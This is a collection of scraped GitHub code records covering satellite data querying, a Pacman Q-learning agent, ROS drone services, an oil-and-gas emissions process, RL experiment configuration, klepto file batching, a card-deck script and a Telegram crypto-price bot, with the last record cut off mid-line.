logger.debug(status_msg)\n\n        safes_list.append(safes)\n        if full_fig:\n            safes_not_colocalized_list.append(safes_not_colocalized)\n            if min_sea_percent is not None:\n                safes_sea_ok_list.append(safes_sea_ok)\n                safes_sea_nok_list.append(safes_sea_nok)\n    pbar.close()\n    safes = pd.concat(safes_list, sort=False)\n    safes = safes.sort_values('beginposition')\n    if full_fig:\n        safes_not_colocalized = pd.concat(safes_not_colocalized_list, sort=False)\n        if min_sea_percent is not None:\n            safes_sea_ok = pd.concat(safes_sea_ok_list, sort=False)\n            safes_sea_nok = pd.concat(safes_sea_nok_list, sort=False)\n\n    try:\n        srs = crs.srs\n    except:\n        srs = crs['init']  # should be deprecated\n    logger.info(\"Total : %s SAFES colocated with %s (%s uniques).\" % (len(safes), srs, len(safes['filename'].unique())))\n\n    if fig is not None:\n        uniques_safes = safes.drop_duplicates('filename')\n        import matplotlib.pyplot as plt\n        import matplotlib as mpl\n        ax = fig.add_subplot(111)\n        handles = []\n        if gdf is not None:\n            # gdf_sel=gpd.GeoDataFrame({'geometry':user_shapes},crs=scihub_crs)\n            # gdf_sel.to_crs(crs=crs,inplace=True)\n            # gdf_sel.geometry.plot(ax=ax, color='none' , edgecolor='green',zorder=3)\n            # original user request # TODO other color for invalid ones ?\n            # decide if loop is over dataframe or over rows\n            if isinstance(gdflist, list):\n                all_user_geom = pd.concat(gdflist)\n            else:\n                all_user_geom = gdflist\n            all_user_geom_shp = all_user_geom.geometry\n            if not all(all_user_geom_shp.is_empty):\n                all_user_geom_shp.reset_index(drop=True).explode().plot(ax=ax, color='none', edgecolor='green',\n                                                                        zorder=3)\n                handles.append(mpl.lines.Line2D([], [], color='green', label='user request'))\n\n        if full_fig:\n            if scihub_shapes_chunk:\n                # logger.info(\"scihub_shapes_chunk : %s\" % str(scihub_shapes_chunk))\n                gdf_sel = gpd.GeoDataFrame({'geometry': scihub_shapes_chunk}, crs=scihub_crs)\n                gdf_sel.to_crs(crs=crs, inplace=True)  # todo : check valid\n                gdf_sel.geometry.buffer(0).plot(ax=ax, color='none', edgecolor='red', zorder=4)\n                handles.append(mpl.lines.Line2D([], [], color='red', label='scihub request'))\n\n            if len(safes_not_colocalized) > 0:\n                safes_not_colocalized.geometry.apply(geoshp.smallest_dlon).to_crs(crs=crs).buffer(0).plot(ax=ax,\n                                                                                                          color='none',\n                                                                                                          edgecolor='orange',\n                                                                                                          zorder=1,\n                                                                                                          alpha=0.2)\n                handles.append(mpl.lines.Line2D([], [], color='orange', label='not colocated'))\n            if min_sea_percent is not None and len(safes_sea_nok) > 0:\n                safes_sea_nok.geometry.apply(geoshp.smallest_dlon).to_crs(crs=crs).buffer(0).plot(ax=ax, color='none',\n                                                                                                  edgecolor='olive',\n                                                                                                  zorder=1, alpha=0.2)\n                handles.append(mpl.lines.Line2D([], [], color='olive', label='sea area > %s %%' % min_sea_percent))\n\n        if len(uniques_safes) > 0:\n            if 'datatake_index' in uniques_safes:\n                uniques_safes[uniques_safes['datatake_index'] == 0].geometry.apply(geoshp.smallest_dlon).to_crs(\n                    crs=crs).buffer(0).plot(ax=ax, color='none', edgecolor='blue', zorder=2, alpha=0.7)\n                uniques_safes[uniques_safes['datatake_index'] != 0].geometry.apply(geoshp.smallest_dlon).to_crs(\n                    crs=crs).buffer(0).plot(ax=ax, color='none', edgecolor='cyan', zorder=2, alpha=0.2)\n                handles.append(mpl.lines.Line2D([], [], color='cyan', label='datatake'))\n            else:\n                uniques_safes.geometry.apply(geoshp.smallest_dlon).to_crs(crs=crs).buffer(0).plot(ax=ax, color='none',\n                                                                                                  edgecolor='blue',\n                                                                                                  zorder=2, alpha=0.7)\n\n            handles.append(mpl.lines.Line2D([], [], color='blue', label='colocated'))\n\n        continents = gpd.read_file(gpd.datasets.get_path('naturalearth_lowres'))\n        continents.to_crs(crs=crs).plot(ax=ax, zorder=0, color='gray', alpha=0.2)\n\n        bounds = None\n        try:\n            # disable shapely errors, they are catched\n            old_log = shapely.geos.LOG.getEffectiveLevel()\n            shapely.geos.LOG.setLevel(logging.CRITICAL)\n            bounds = gpd.GeoDataFrame({'geometry':\n                                           [box(*uniques_safes.total_bounds),\n                                            box(*safes_not_colocalized.total_bounds)] + scihub_shapes_chunk\n                                       }, crs=scihub_crs).to_crs(crs=crs).buffer(0).total_bounds\n            shapely.geos.LOG.setLevel(old_log)\n        except Exception as e:\n            logger.debug(\"bounds fallback : %s\" % str(e))\n            try:\n                bounds = gpd.GeoDataFrame({'geometry': scihub_shapes_chunk\n                                           }, crs=scihub_crs).to_crs(crs=crs).buffer(0).total_bounds\n            except Exception as err:\n                logger.debug(\"bounds last fallback failed: %s\" % str(e))\n                bounds = None\n\n        if bounds is not None:\n            xmin, xmax = ax.get_xlim()\n            ymin, ymax = ax.get_ylim()\n            ax.set_ylim([max(ymin, bounds[1]), min(ymax, bounds[3])])\n            ax.set_xlim([max(xmin, bounds[0]), min(xmax, bounds[2])])\n        fig.tight_layout()\n        bbox = ax.get_position()\n        ax.set_position([bbox.x0, bbox.y0, bbox.width, bbox.height * 0.8])\n\n        ax.legend(handles=handles, loc='lower center', bbox_to_anchor=(0.5, 1.05), ncol=5)\n\n    if cachedir is not None:\n        search_paths = [cachedir]\n        if alt_path is not None:\n            search_paths.append(alt_path)\n        # try to find already existing path\n        logger.debug('search paths: %s' % str(search_paths))\n        safes['path'] = safes['filename'].apply(lambda safe: safe_dir(safe, path=search_paths, only_exists=True))\n\n    if download:\n        safes = download_from_df(safes, destination=cachedir, progress=progress)\n\n    return safes\n\n\nscihubQuery_new = scihubQuery\n","repo_name":"oarcher/sentinelrequest","sub_path":"sentinelrequest/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":55581,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"136760366","text":"# qlearningAgents.py\n# ------------------\n# Licensing Information:  You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\n# from _typeshed import Self\nfrom os import stat\nfrom game import *\nfrom learningAgents import ReinforcementAgent\nfrom featureExtractors import *\nimport numpy as np\nfrom collections import defaultdict\n\nimport random,util,math\n# from pacman import GameState\n\nclass QLearningAgent(ReinforcementAgent):\n    \"\"\"\n      Q-Learning Agent\n\n      Functions you should fill in:\n        - computeValueFromQValues\n        - computeActionFromQValues\n        - getQValue\n        - getAction\n        - update\n\n      Instance variables you have access to\n        - self.epsilon (exploration prob)\n        - self.alpha (learning rate)\n        - self.discount (discount rate)\n\n      Functions you should use\n        - self.getLegalActions(state)\n          which returns legal actions for a state\n    \"\"\"\n    def __init__(self, **args):\n        \"You can initialize Q-values here...\"\n        ReinforcementAgent.__init__(self, **args)\n        self._default_val = 0.0\n        self.Q = defaultdict(lambda:self._default_val)\n        self.epsilon = float(args['epsilon'])\n        self.alpha = float(args['alpha'])\n        self.gamma = float(args['gamma'])\n        \n        self._step = 0\n        self._num_visits_dict = defaultdict(int)\n    def getQRelevantState(state):\n        # return tuple(state.data.agentStates)\n        data = state.data.deepCopy()\n        for a in data.agentStates:\n            a.configuration = Configuration(a.configuration.getPosition(), Directions.STOP )\n        data.score=0.0\n        return data\n        # return state\n    def getQValue(self, state, action):\n        \"\"\"\n          Returns Q(state,action)\n          Should return 0.0 if we have never seen a state\n          or the Q node value otherwise\n        \"\"\"\n        \"*** YOUR CODE HERE ***\"\n        return self.Q[(QLearningAgent.getQRelevantState(state),action)]\n\n    def setQValue(self,state, action, q_value):\n        \"\"\"\n          Returns None\n          Update new Q value for the state action pair\n        \"\"\"\n        \"*** YOUR CODE HERE ***\"\n        relevant_state = QLearningAgent.getQRelevantState(state)\n        self.Q[(relevant_state,action)] = q_value\n        # update num visits\n        # self._num_visits_dict[relevant_state] += 1\n    def getNumStates(self):\n        \"\"\"\n        Returns number of visits in state\n        \"\"\"\n        return len(list(self.Q.values()))\n    def getNumVisits(self, state):\n        \"\"\"\n        Returns number of visits in state\n        \"\"\"\n        relevant_state = QLearningAgent.getQRelevantState(state)\n        return self._num_visits_dict[relevant_state]\n    \n    def getNumStatesVisitedLessThan(self,times: int):\n        \"\"\"\n        Returns number of states thaat was visited less than `times` argument\n        \"\"\"\n        return len([v for v in self._num_visits_dict.values() if v < times])\n    \n    def computeValueFromQValues(self, state):\n        \"\"\"\n          Returns max_action Q(state,action)\n          where the max is over legal actions.  Note that if\n          there are no legal actions, which is the case at the\n          terminal state, you should return a value of 0.0.\n        \"\"\"\n        \"*** YOUR CODE HERE ***\"\n        actions = self.getLegalActions(state)\n        # check if terminal state\n        if not actions:\n          return self._default_val\n        # list all q values for current state's actions - this implicitly initilizes unseen state-actions\n        list_of_state_action_vals = [self.getQValue(state,a) for a in actions]\n        return self._default_val if not list_of_state_action_vals else max(list_of_state_action_vals)\n\n    def computeActionFromQValues(self, state):\n        \"\"\"\n          Compute the best action to take in a state.  Note that if there\n          are no legal actions, which is the case at the terminal state,\n          you should return None.\n        \"\"\"\n        \"*** YOUR CODE HERE ***\"\n        actions = self.getLegalActions(state)\n        # check if terminal state\n        if not actions:\n          return None\n        best_val = self.computeValueFromQValues(state)\n        list_of_best_actions = [a for a in actions if self.getQValue(state,a) == best_val]\n        assert list_of_best_actions \n        assert all([a in actions for a in list_of_best_actions])\n        return random.choice(list_of_best_actions)\n\n    def getAction(self, state):\n        \"\"\"\n          Compute the action to take in the current state.  With\n          probability self.epsilon, we should take a random action and\n          take the best policy action otherwise.  Note that if there are\n          no legal actions, which is the case at the terminal state, you\n          should choose None as the action.\n\n          HINT: You might want to use util.flipCoin(prob)\n          HINT: To pick randomly from a list, use random.choice(list)\n        \"\"\"\n        # Pick Action\n        \"*** YOUR CODE HERE ***\"\n        self._step += 1\n          \n        actions = self.getLegalActions(state)\n        # check if terminal state\n        if not actions:\n          print('max Q value', max(list(self.Q.values())))\n          return None\n        # epsilon greedy exploration\n        if util.flipCoin(self.epsilon):\n          return random.choice(actions)\n        \n        action_from_Q_values = self.computeActionFromQValues(state)\n\n        chosen_action = action_from_Q_values if action_from_Q_values is not None else random.choice(actions)\n        \n        # update num visits\n        relevant_state = QLearningAgent.getQRelevantState(state)\n        self._num_visits_dict[relevant_state] += 1\n         \n        return chosen_action\n\n\n        \n\n    def update(self, state, action, nextState, reward):\n        \"\"\"\n          The parent class calls this to observe a\n          state = action => nextState and reward transition.\n          You should do your Q-Value update here\n\n          NOTE: You should never call this function,\n          it will be called on your behalf\n        \"\"\"\n        \"*** YOUR CODE HERE ***\"\n        next_state_max_val = self.computeValueFromQValues(nextState)\n        s = state.data.agentStates\n        # self.Q[(state,action)] = self.Q[(state,action)] + self.alpha * (reward +  self.gamma*next_state_max_val - self.Q[(state,action)])\n        Q_sa = self.getQValue(state,action)\n        Q_sa += self.alpha * (reward +  self.gamma*next_state_max_val - Q_sa)\n        Q_sa = float(int(Q_sa * 100))/100.0\n        self.setQValue(state,action,Q_sa)\n\n    def getPolicy(self, state):\n        return self.computeActionFromQValues(state)\n\n    def getValue(self, state):\n        return self.computeValueFromQValues(state)\n\n\nclass PacmanQAgent(QLearningAgent):\n    \"Exactly the same as QLearningAgent, but with different default parameters\"\n\n    def __init__(self, epsilon=0.05,gamma=0.8,alpha=0.2, numTraining=0, **args):\n        \"\"\"\n        These default parameters can be changed from the pacman.py command line.\n        For example, to change the exploration rate, try:\n            python pacman.py -p PacmanQLearningAgent -a epsilon=0.1\n        alpha    - learning rate\n        epsilon  - exploration rate\n        gamma    - discount factor\n        numTraining - number of training episodes, i.e. no learning after these many episodes\n        \"\"\"\n        args['epsilon'] = epsilon\n        args['gamma'] = gamma\n        args['alpha'] = alpha\n        args['numTraining'] = numTraining\n        self.index = 0  # This is always Pacman\n        QLearningAgent.__init__(self, **args)\n\n    def getAction(self, state):\n        \"\"\"\n        Simply calls the getAction method of QLearningAgent and then\n        informs parent of action for Pacman.  Do not change or remove this\n        method.\n        \"\"\"\n        action = QLearningAgent.getAction(self, state)\n        self.doAction(state, action)\n        return action\n","repo_name":"moshebeutel/RLBIU","sub_path":"qlearningAgents.py","file_name":"qlearningAgents.py","file_ext":"py","file_size_in_byte":8416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"43046924857","text":"import rospy\nfrom decentralised_adaptive_coverage.srv import VoronoiUpdate, VoronoiUpdateResponse\n\nclass Service:\n    def __init__(self, drone):\n        self.drone = drone\n\n    def setup_services(self):\n        self.drone.update_voronoi_completed = False\n        service_name = f'/drone{self.drone.drone_id+1}/update_voronoi_service'\n        rospy.Service(service_name, VoronoiUpdate, self.drone_update_voronoi_service)\n        rospy.wait_for_service(service_name)\n\n    def drone_update_voronoi_service(self, request):\n        return VoronoiUpdateResponse(success=self.drone.update_voronoi_completed, iteration_timestamp=self.drone.current_iteration)\n\n\n    def wait_for_update_voronoi_for_all_drones(self):\n        drone_update_voronoi_completed = [False] * self.drone.drone_count\n        while not all(drone_update_voronoi_completed):\n            rospy.loginfo(f\"Drone {self.drone.drone_id+1} waiting for {self.drone.drone_count-sum(drone_update_voronoi_completed)} Drones at iteration: {self.drone.current_iteration+1}\")\n            for i in range(self.drone.drone_count):\n                try:\n                    check_update = rospy.ServiceProxy(\n                        '/drone{}/update_voronoi_service'.format(i+1), VoronoiUpdate)\n                    resp = check_update()\n                    drone_update_voronoi_completed[i] = resp.success and resp.iteration_timestamp == self.drone.current_iteration\n                except rospy.ServiceException as e:\n                    rospy.loginfo(f\"Service call failed: {e}\")\n            rospy.sleep(5)","repo_name":"invisible23man/decentralised-adaptive-coverage-with-voronoi-partitioning","sub_path":"src/decentralised_adaptive_coverage/scripts/tools/rostools/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7875876952","text":"from ..emissions import EM_FUGITIVES\nfrom ..log import getLogger\nfrom ..process import Process\n\n_logger = getLogger(__name__)\n\n\nclass GasReinjectionWell(Process):\n    def __init__(self, name, **kwargs):\n        super().__init__(name, **kwargs)\n        field = self.field\n        self.gas = field.gas\n        self.natural_gas_reinjection = field.natural_gas_reinjection\n        self.gas_flooding = field.gas_flooding\n\n    def check_enabled(self):\n        if not self.natural_gas_reinjection and not self.gas_flooding:\n            self.set_enabled(False)\n\n    def run(self, analysis):\n        self.print_running_msg()\n\n        # mass rate\n        input = self.find_input_stream(\"gas for gas reinjection well\")\n\n        if input.is_uninitialized():\n            return\n\n        loss_rate = self.get_compressor_and_well_loss_rate(input)\n        gas_fugitives = self.set_gas_fugitives(input, loss_rate)\n\n        gas_to_reservoir = self.find_output_stream(\"gas for reservoir\")\n        gas_to_reservoir.copy_flow_rates_from(input)\n        gas_to_reservoir.subtract_rates_from(gas_fugitives)\n\n        self.set_iteration_value(gas_to_reservoir.total_flow_rate())\n\n        # emissions\n        emissions = self.emissions\n        emissions.set_from_stream(EM_FUGITIVES, gas_fugitives)\n","repo_name":"Stanford-EAO/OPGEEv4","sub_path":"opgee/processes/gas_reinjection_well.py","file_name":"gas_reinjection_well.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"41670858050","text":"from spinup.utils.run_utils import ExperimentGrid\nfrom spinup import trpo_tf1\nimport tensorflow as tf\n\nif __name__ == '__main__':\n    import argparse\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--cpu', type=int, default=-1)\n    parser.add_argument('--num_runs', type=int, default=3)\n    parser.add_argument('--data_dir', type=str, default='data/TRPO')\n    args = parser.parse_args()\n    eg = ExperimentGrid(name='TRPO')\n    eg.add('env_name', 'CartPole-v1', '', True)\n    eg.add('seed', [10*i for i in range(args.num_runs)])\n    eg.add('epochs', 100)\n    eg.add('steps_per_epoch', 2000)\n    eg.add('gamma', 0.99)\n    eg.add('delta', [0.001,0.01])\n    eg.add('vf_lr', 0.001)\n    eg.add('train_v_iters', 40)\n    eg.add('damping_coeff', 0.1)\n    eg.add('cg_iters', 10)\n    eg.add('backtrack_iters', 10)\n    eg.add('backtrack_coeff', 0.8)\n    eg.add('lam', 0.97)\n    eg.add('max_ep_len', 1000)\n    eg.add('ac_kwargs:hidden_sizes', (32,32), 'hid')\n    eg.add('ac_kwargs:activation', [tf.nn.relu, tf.nn.tanh], '')\n    eg.add('algo', ['npg','trpo'])\n    eg.run(trpo_tf1, num_cpu=args.cpu)","repo_name":"AdamJelley/openai-spinningup","sub_path":"ExperimentScripts/TRPOScript.py","file_name":"TRPOScript.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11871021881","text":"import klepto\nimport os\nimport pandas as pd\nimport numpy as np\n\n\ndef chewing_file(num_sections, data, filename, foldername): \n    '''\n    LIST, DATAFRAMES, & DICTONARIES ONLY.\n    When 'swallowing' a pickle causes your notebook to choke, chew it up into batches with klepto.\n    batches object into num sections and saves batchs into folders within foldername\n    each folder will be named accordingly, \"K_\"+filename+\"_1\", \"K_\"+filename+\"_2\", ...\n    '''\n    d = klepto.archives.dir_archive('%s' % foldername, cached=True, serialized=True)\n    sections = int(len(data)/num_sections)\n    filterByKey = lambda keys: {x: data[x] for x in keys} #for dictionary\n    \n    if type(data) == list:\n        for num in range(num_sections-1):\n            new_name = filename + \"_%s\" % (num+1)\n            d[new_name] = data[(num*sections):((num+1)*sections)]\n        d[filename + \"_%s\" % (num_sections)] = data[(num_sections-1)*sections:]\n    elif type(data) == pd.DataFrame:\n        for num in range(num_sections-1):\n            new_name = filename + \"_%s\" % (num+1)\n            d[new_name] = data.iloc[(num*sections):((num+1)*sections)]\n        d[filename + \"_%s\" % (num_sections)] = data.iloc[(num_sections-1)*sections:]\n    elif type(data) == dict:\n        for num in range(num_sections-1):\n            new_name = filename + \"_%s\" % (num+1)\n            subkeys = sorted(list(data.keys()))[(num*sections):((num+1)*sections)]\n            d[new_name] = filterByKey(subkeys)\n        subkeys = sorted(list(data.keys()))[(num_sections-1)*sections:]\n        d[filename + \"_%s\" % (num_sections)] = filterByKey(subkeys) \n    else: \n        d[filename] = data\n        print(\"data is a\", type(data))\n        \n    d.dump()\n    d.clear()\n    \ndef puking_file(filename, foldername): \n    '''\n    LIST, DATAFRAMES, & DICTONARIES ONLY.\n    Pukes/returns the pieces/batches of the object previously saved.  \n    Auto-detects number of folders within foldername that CONTAIN the filename, as such...\n    \"K_\"+filename+\"_1\", \"K_\"+filename+\"_2\", ... \n    (CAUTION: do not name your files too similarly when you batch save)\n    reforms your object with data from the batched folders and returns  \n    '''\n    folder = os.listdir(foldername)\n    files = sorted([s for s in folder if s[2:-2] == filename])\n    \n    d = klepto.archives.dir_archive('%s' % foldername, cached=True, serialized=True)\n    for file in files:\n        d.load(file[2:])\n#     print(d.keys())\n    \n    if type(d[filename+\"_1\"]) == pd.DataFrame:\n        df = []\n        for key in sorted(d.keys()):\n            df.append(d[str(key)])\n        file = pd.concat(df)\n    elif type(d[filename+\"_1\"]) == list:\n        file = []\n        for key in sorted(d.keys()):\n            file.extend(d[str(key)])\n    elif type(d[filename+\"_1\"]) == dict:\n        file = {}\n        for sub_dict in sorted(d.keys()):\n            for key in d[sub_dict].keys():\n                file[key] = d[sub_dict][key]\n    else:\n        file = d[filename]\n        print(\"data is not a DF, list, or dict\")\n    \n    print('Filename:', filename, \n          '\\n# of Folders:', len(d.keys()),\n          '\\nType:', type(file), \n          '\\nLen:', len(file))\n    \n    d.clear()\n    return file\n","repo_name":"janniec/Hierarchical_Text_Classification","sub_path":"KleptoFunctions.py","file_name":"KleptoFunctions.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"35"}
{"seq_id":"33979316806","text":"# deck.py\r\n# This program creates, shuffles, and deals cards from a deck to two players\r\n# Sergio Sum\r\n# 5/12/17\r\n\r\nimport random\r\n\r\nclass Card:\r\n    def __init__(self, rank, suit):\r\n        self.rank = rank\r\n        self.suit = suit\r\n    def getRank(self):\r\n        return self.rank\r\n    def getSuit(self):\r\n        return self.suit\r\n    def blackJackValue(self):\r\n        if self.rank > 10:\r\n            return 10\r\n        elif self.rank == 1:\r\n            return 11\r\n        else:\r\n            return self.rank\r\n    def __str__(self):\r\n\r\n        ranks = ['Ace', 'Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 'Eight', 'Nine', 'Ten', 'Jack', 'Queen', 'King']\r\n        rankString = ranks[self.rank - 1]\r\n\r\n        if self.suit == 'd':\r\n            suitString = 'Diamonds'\r\n        elif self.suit == 's':\r\n            suitString = 'Spades'\r\n        elif self.suit == 'h':\r\n            suitString = 'Hearts'\r\n        else:\r\n            suitString = 'Clubs'\r\n\r\n        return rankString + ' of ' + suitString\r\n\r\n\r\n\r\nclass Deck:\r\n    def __init__(self):\r\n        # create a list of cards\r\n        self.listOfCards = []\r\n        # generate the list of cards\r\n        for rank in range(1,14):\r\n            for suit in ['c', 's', 'h', 'd']:\r\n                self.listOfCards.append( Card(rank, suit) )\r\n\r\n    def shuffle(self):\r\n        random.shuffle(self.listOfCards)\r\n\r\n    def dealCard(self):\r\n        return self.listOfCards.pop()\r\n\r\n    def cardsLeft(self):\r\n        return len(self.listOfCards)\r\n\r\ndef main():\r\n    print(\"Creating the deck of cards...\")\r\n    myDeck = Deck()\r\n    print(\"Shuffling the deck of cards...\")\r\n    myDeck.shuffle()\r\n\r\n    #asks for number of cards to be dealt\r\n    dealing = eval(input(\"How many cards should be dealt to each player: \"))\r\n\r\n    player1 = []\r\n\r\n    # gets cards from deck\r\n    for i in range (dealing):\r\n        player1.append(myDeck.dealCard())\r\n    print(\"Player 1 was dealt: \")\r\n    # printing each card from the list\r\n    for card in player1:\r\n        print(card)\r\n\r\n    player2 = []\r\n    for i in range (dealing):\r\n        player2.append(myDeck.dealCard())\r\n\r\n\r\n    print()\r\n\r\n    print(\"Player 2 was dealt:\")\r\n    for card in player1:\r\n        print(card)\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","repo_name":"ssummun54/wofford_cosc_projects","sub_path":"Assignments/deck.py","file_name":"deck.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11961209540","text":"import ccxt\nfrom tradingview_ta import TA_Handler, Interval, Exchange, Compute\nimport requests\n\ndef arbitraj(pair):\n    send_message = pair + \" prices are searched for you on all exchanges.\\nPlease wait...\"\n    requests.post(url=send_url, data={'chat_id': chat_id, 'text': send_message}).json()\n\n    account = []\n    account.append(ccxt.binance())\n    account.append(ccxt.bitbay())\n    account.append(ccxt.bitfinex())\n    account.append(ccxt.bitforex())\n    account.append(ccxt.bithumb())\n    account.append(ccxt.bitmex())\n    account.append(ccxt.bitpanda())\n    account.append(ccxt.coinbase())\n    account.append(ccxt.coinegg())\n    account.append(ccxt.ftx())\n    account.append(ccxt.gemini())\n    account.append(ccxt.hitbtc())\n    account.append(ccxt.huobipro())\n    account.append(ccxt.idex())\n    account.append(ccxt.kraken())\n    account.append(ccxt.kucoin())\n    account.append(ccxt.liquid())\n    account.append(ccxt.okcoin())\n    account.append(ccxt.okex())\n    account.append(ccxt.poloniex())\n\n    minAsk = float(account[0].fetch_ticker(pair + '/USDT')['ask'])\n    maxBid = float(account[0].fetch_ticker(pair + '/USDT')['bid'])\n    askName = \"\"\n    bidName = \"\"\n\n\n    for i in range(0, len(account)):\n        markets = account[i].load_markets()\n\n        if pair + '/USDT' in markets:\n            if minAsk > float(account[i].fetch_ticker(pair + '/USDT')['ask']): \n                minAsk = float(account[i].fetch_ticker(pair + '/USDT')['ask']) \n                askName = account[i]                                           \n            if maxBid < float(account[i].fetch_ticker(pair + '/USDT')['bid']): \n                maxBid = float(account[i].fetch_ticker(pair + '/USDT')['bid']) \n                bidName = account[i]                                           \n        elif pair + '/USD' in markets:\n            if minAsk > float(account[i].fetch_ticker(pair + '/USD')['ask']):\n                minAsk = float(account[i].fetch_ticker(pair + '/USD')['ask'])\n                askName = account[i]\n            if maxBid < float(account[i].fetch_ticker(pair + '/USD')['bid']):\n                maxBid = float(account[i].fetch_ticker(pair + '/USD')['bid'])\n                bidName = account[i]\n        else:\n            continue\n\n    send_message = \" Exchanges with the most price difference:\\n\\n\" + str(askName) + \" - Buying: \" + str(minAsk) + \"$\\n\" + str(bidName) + \" - Sales: \" + str(maxBid) + \"$\"\n    requests.post(url=send_url, data={'chat_id': chat_id, 'text': send_message}).json()\n\n    \n    send_message = pair + \" is selected...\\nChoose the action you want to take below:\\n/ARB - Arbitrage Research\\n/GENERAL - General Analysis Advice\\n/PSAR - Parabolic SAR Analysis Advice\\n/OSC - Oscillators Average\\n/RSI - RSI Indicator Analysis Advice\\n/MACD - MACD Indicator Analysis Advice\\n/CCI - CCI Indicator Analysis Advice\\n\\nTo change your chosen coin and return to the beginning, /Change\"\n    requests.post(url=send_url, data={'chat_id': chat_id, 'text': send_message}).json()\n\ndef analysis(pair, chosen): \n    crypto = TA_Handler(\n        symbol=pair + \"USDT\",\n        screener=\"CRYPTO\",\n        exchange=\"BINANCE\",\n        interval=Interval.INTERVAL_1_DAY\n    )\n    \n    if (chosen==\"GENERAL\"): \n        send_message = \"\\\"\" + pair + \"\\\" The General Analysis Recommendation is as follows:\\n\" + str(crypto.get_analysis().summary[\"RECOMMENDATION\"]) + \"\\nBUY: \" + str(crypto.get_analysis().summary[\"BUY\"]) + \"\\nNEUTRAL: \" + str(crypto.get_analysis().summary[\"NEUTRAL\"]) + \"\\nSELL: \" + str(crypto.get_analysis().summary[\"SELL\"])\n    elif (chosen==\"PSAR\"):\n        send_message = \"\\\"\" + pair + \"\\\" Parabolic SAR Analysis Advice is as follows:\\n\" + Compute.PSAR(crypto.get_analysis().indicators[\"P.SAR\"], crypto.get_analysis().indicators[\"open\"])\n    elif (chosen==\"OSC\"):\n        send_message = \"\\\"\" + pair + \"\\\" The Oscillators Average is as follows:\\n\" + crypto.get_analysis().oscillators[\"RECOMMENDATION\"]\n    elif (chosen==\"RSI\"): \n        send_message = \"\\\"\" + pair + \"\\\" RSI Oscillator Analysis Advice is as follows:\\n\" + Compute.RSI(crypto.get_analysis().indicators[\"RSI\"], crypto.get_analysis().indicators[\"RSI[1]\"])\n    elif (chosen==\"MACD\"): \n        send_message = \"\\\"\" + pair + \"\\\" MACD Oscillator Analysis Advice is as follows:\\n\" + Compute.MACD(crypto.get_analysis().indicators[\"MACD.macd\"], crypto.get_analysis().indicators[\"MACD.signal\"])\n    elif (chosen==\"CCI\"):\n        send_message = \"\\\"\" + pair + \"\\\" CCI Oscillator Analysis Advice is as follows:\\n\" + Compute.CCI20(crypto.get_analysis().indicators[\"CCI20\"], crypto.get_analysis().indicators[\"CCI20[1]\"])\n\n    requests.post(url=send_url, data={'chat_id': chat_id, 'text': send_message}).json()\n\n    \n    send_message = pair + \" is selected.\\nSelect the action you want to take below:\\n/ARB - Arbitrage Research\\n/GENERAL - General Analysis Advice\\n/PSAR - Parabolic SAR Analysis Advice\\n/OSC - Oscillators Average\\n/RSI - RSI Oscillator Analysis Advice\\n/MACD - MACD Oscillator Analysis Advice\\n/CCI - CCI Oscillator Analysis Advice\\n\\nTo change your chosen coin and return to the beginning, /Change\"\n    requests.post(url=send_url, data={'chat_id': chat_id, 'text': send_message}).json()\n\nsend_url = \"https://api.telegram.org/<YOUR BOT API TOKEN>/sendMessage\"\nprev_date = \"11111\"\npair = \"\"\n\nchs_text = \"Select the action you want to take below:\\n/ARB - Arbitrage Research\\n/GENERAL - General Analysis Advice\\n/PSAR - Parabolic SAR Analysis Advice\\n/OSC - Oscillators Average\\n/RSI - RSI Oscillator Analysis Advice\\n/MACD - MACD Oscillator Analysis Advice\\n/CCI - CCI Oscillator Analysis Advice\\n\\nTo change your chosen coin and return to the beginning, /Change\"\nwhile True:\n    \n    tlg = requests.get(\"https://api.telegram.org/<YOUR BOT API TOKEN>/getupdates\").json()\n    last_object = tlg['result'][-1]\n    new_date = last_object[\"message\"][\"date\"]\n\n    if(str(new_date) != str(prev_date)):\n        prev_date = new_date\n        chat_id = last_object['message']['chat']['id']\n\n        if 'first_name' in last_object['message']['from']:\n            first_name = last_object['message']['from']['first_name']\n        else: first_name = \"\"\n        if 'last_name' in last_object['message']['from']:\n            last_name = last_object['message']['from']['last_name']\n        else: last_name = \"\"\n\n        message_text = last_object['message']['text']\n\n        send_message = \"\"\n\n        if (message_text.upper() == \"/START\" or message_text.upper() == \"/CHANGE\"):\n            send_message = \"Hi \" + first_name + \" \" + last_name + \",\\nPlease select a cryptocurrency to get started:\\n/BTC - Bitcoin\\n/ETH - Ethereum\\n/DOGE - Dogecoin\\n/XRP - Ripple\\n/ADA - Cardano\\n/AVAX - Avalance\\n/HOT - HoloCoin \\n/DOT - Polkadot\\n/LINK - Chainlink\\n/XLM - Stellar\"\n        elif (message_text.upper() == \"/BTC\"):\n            pair = \"BTC\"\n            send_message = \"BTC - Bitcoin is selected.\\n\" + chs_text\n        elif (message_text.upper() == \"/ETH\"):\n            pair = \"ETH\"\n            send_message = \"ETH - Ethereum is selected.\\n\" + chs_text\n        elif (message_text.upper() == 